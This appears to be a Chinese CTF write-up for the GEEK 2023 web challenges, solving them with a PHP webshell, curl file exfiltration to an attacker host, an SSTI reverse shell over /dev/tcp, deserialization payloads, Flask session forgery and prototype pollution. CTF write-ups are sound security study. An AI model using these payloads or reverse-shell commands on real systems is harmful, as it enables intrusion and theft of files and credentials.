EzHttp
http协议基础题
unsign
简单反序列化题
n00b_Upload
很简单的文件上传,上传1.php,抓包,发现php内容被过滤了,改为<?= eval($_POST[‘a’]);?>,上传成功,命令执行读取就好了
easy_php
payload:
GET:?syc=Welcome to GEEK 2023!%0a&lover=2e5
POST:qw[]=1&yxx[]=2&SYC[GEEK.2023=Happy to see you!
ctf_curl
源码:
<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover
if (isset($_GET['addr'])) {
$address = $_GET['addr'];
if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
$result = system("curl ".$address."> /dev/null");
} else {
echo "Hacker!!!";
}
}
?>
最重要的就是下面这句话:
result = system("curl ".$address."> /dev/null");
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。
-T/--upload-file <file> // 上传文件
payload:
?addr=-T /tmp/Syclover 120.xx.xx.141
云服务器:nc -lvnp 80
上面的ip换成公网ip 然后监听就行
ez_remove
这道题当时没写wp 就记得大概主要的思路
大写S可以进行16进制绕过lover 然后直接给payload
?web=a:2:{i:0;O:3:"syc":1:{S:5:"\6cover";s:16:"eval($_POST[1]);";}i:0;N;}
然后连接蚁剑(https->http)进行find查找提权,发现简单的chmod提权
Pupyy_rce
无参数rce
?var=show_source(array_rand(array_flip(scandir(getcwd()))));
参考:https://zhuanlan.zhihu.com/p/157431794
klf_ssti
目录扫描扫到一个robots.txt 打开存在hack路径,查看源码存在klf 传参,结合题目 就是ssti注入了,然后使用tplmap工具发现是盲注,我们这里直接用脚本找popen:
import requests
url="http://htakb3g19j9kg6bt5s3mf5yru.node.game.sycsec.com/hack"
for i in range(600):
try:
data={"klf":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]}}'}
respose=requests.get(url,params=data)
if respose.status_code==200:
print(i)
# print(respose.content)
except:
pass
经过尝试发现117里有popen,所以构造反弹shell的payload:
?klf={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("bash -c 'bash -i >& /dev/tcp/120.xx.xx.141/80 0>&1'").read()}}
这里ip换成你的公网ip就行 ,然后url进行编码绕过
%7B%7B%22%22.__class__.__base__.__subclasses__()%5B117%5D.__init__.__globals__%5B%22popen%22%5D(%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.91.141%2F80%200%3E%261'%22).read()%7D%7D
然后nc -lvvp 80 就可以监听获得flag
flag保卫战
ez_path
题目里面给了个pyc文件 ,先进行一下反编译
编译在线网站:pyc反编译 - 工具匠
然后得到py文件 源码如下:
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []
class Article:
def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content
def generate_article_id():
return str(uuid.uuid4())
@app.route('/')
def index():
return render_template('index.html', articles=articles)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')
@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)
return render_template('error.html')
def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)
def sanitize_filename(filename):
sensitive_chars = [
':', '*', '?', '"', '<', '>', '|', '.']
for char in sensitive_chars:
filename = filename.replace(char, '_')
return filename
if __name__ == '__main__':
app.run(debug=True)
# okay decompiling /tmp/656424dc12db8.pyc
关键代码如下:
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')
如下:
我们直接可以任意读取文件 然后根据源码这个
我们直接读就行了 就可以获得flag
you konw flask?
这里扫到一个robots.txt 然后发现/3ysd8.html路径,访问源码得到session key 那结合这道题目 那就是flask 的session伪造了
根据代码,我们可以用脚本形成一个字典
import base64
hex_dict = []
for byte1 in range(1, 101):
s = 'wanbao' + base64.b64encode(str(byte1).encode('utf-8')).decode('utf-8') + 'wanbao'
hex_representation = f"'{s}'"
hex_dict.append(hex_representation)
with open("session_key.txt", "w") as file:
for item in hex_dict:
file.write(f"{item}\n")
注册一个用户获得初始session
eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3ZW5kYTk5OSIsInVzZXJfaWQiOjN9.ZWQdDQ.8wuMdBgEZdZkgL99ohiElMmyvi8
然后开始爆破:
flask-unsign --unsign --wordlist session_key.txt --cookie < session.txt
session.txt保存要解密的session (就是上面注册的)
然后去用flask_session_cookie_manager去加密
python flask_session_cookie_manager3.py encode -s "wanbaoNTY=wanbao" -t "{'is_admin': True, 'name': 'tset9', 'user_id': 4}"
得到:
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3Q5IiwidXNlcl9pZCI6NH0.ZWQiSw.V4HCVirTTFWgDyENt-Qtd0pRcmA
用新的session进行登入
点击学员管理获得flag
雨
famale_imp_l0ve
查看源码发现 /include.php路由 访问得到如下源码:
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
最重关键的是:
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
以上两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。
具体访问:
PHP一些常见的漏洞梳理-腾讯云开发者社区-腾讯云 (tencent.com)
然后大概思路就是写入一句话木马保存为1.jpg文件 然后压缩为zip文件上传,然后在/include.php路由下进行phar协议读取 就可以得到flag
change_it
ezrfi
EzRce
ezpython
附件源码:
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
重点先看下注册路由 /register
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
我们关注到这个merge()函数 ,相信大家也不陌生 js原型链污染里面经常看到这个函数,
然后我们查看注册 的前端源代码:
发现注册格式是以 json保存 ,那就很可能用到原型链污染
那我们应该怎么污染呢 接下来看flag路由:
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
我们要想获得geek_flag 就必须符合下面这个条件:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
这个好说 用+号就饿可以绕过
然后在上一层 num传参 在上一层 如下;
我们发现只有 user.isvip为真才可进入下面的语句 ,那这不就是我们进行污染的地方吗
paylaod:
{
"username":"wenda",
"password":"123",
"__class__" : {
"__base__" : {
"\u0069\u0073\u0076\u0069\u0070":true
}
}
}
然后登入之后访问flag路由进行传参
flag?num=+123456789
得到flag
ez_php
scan_tool
klf_2
ez_sql
EZ_Smuggling
klf_3
Akane!
经典的PHP反序列化题
源码:
<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
public $Ruby;
private $Aquamarine;
public function __destruct()
{
$this->Ruby->func();
}
}
class Idol
{
public $Akane;
public function __wakeup()
{
$this->Akane = '/var/www/html/The************************.php';
}
public function __call($method,$args)
{
$Kana = count(scandir($this->Akane));
if ($Kana > 0) {
die('Kurokawa Akane');
} else {
die('Arima Kana');
}
}
}
$a = unserialize(base64_decode($_GET['tuizi']));
?>
链的构造很简单 主要是下面两点:
1. Idol里面的wakeup魔术方法绕过
2.
$Kana = count(scandir($this->Akane)); 的用法
下面参考一篇文章:
https://www.jianshu.com/p/16c56bebc63d
因为文件名称不知道,所以我们可以使用glob协议爆破文件名,然后scandir函数的返回值是一个数组,利用数组的长度判断字符是否正确
POP代码:
<?php
class Hoshino
{
public $Ruby;
public $Aquamarine;
}
class Idol
{
public $Akane;
}
$a = new Hoshino();
$a->Ruby=new Idol();
$a->Ruby->Akane='glob:///var/www/html/';
$a2=serialize($a);
$b=str_replace(":2:",":3:",$a2);
echo($b)."\n";
echo base64_encode($b);
//O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:21:"glob:///var/www/html/";}s:10:"Aquamarine";N;}
//Tzo3OiJIb3NoaW5vIjozOntzOjQ6IlJ1YnkiO086NDoiSWRvbCI6MTp7czo1OiJBa2FuZSI7czoyMToiZ2xvYjovLy92YXIvd3d3L2h0bWwvIjt9czoxMDoiQXF1YW1hcmluZSI7Tjt9
然后得到的payload用python写脚本进行爆破文件名
import requests
import string
import base64
s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789."
filename = "The"
url = "http://zzekk475cbtnv12wj8smbybe4.node.game.sycsec.com/"
for num in range(1, 50):
for i in s:
print(num)
print(i)
payload = 'O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:' + str(
25 + num) + ':"glob:///var/www/html/' + filename + i + '*";}s:10:"Aquamarine";N;}'
print(payload)
parm = '?tuizi=' + base64.b64encode(payload.encode('utf-8')).decode('utf-8')
print(parm)
r = requests.get(url=url + parm)
if "Kurokawa Akane" in r.text:
filename += i
print(num, filename)
break
得到TheS4crEtF1AgFi1EByo2takuXX.php 文件 ,访问就得flag
java
后面继续复现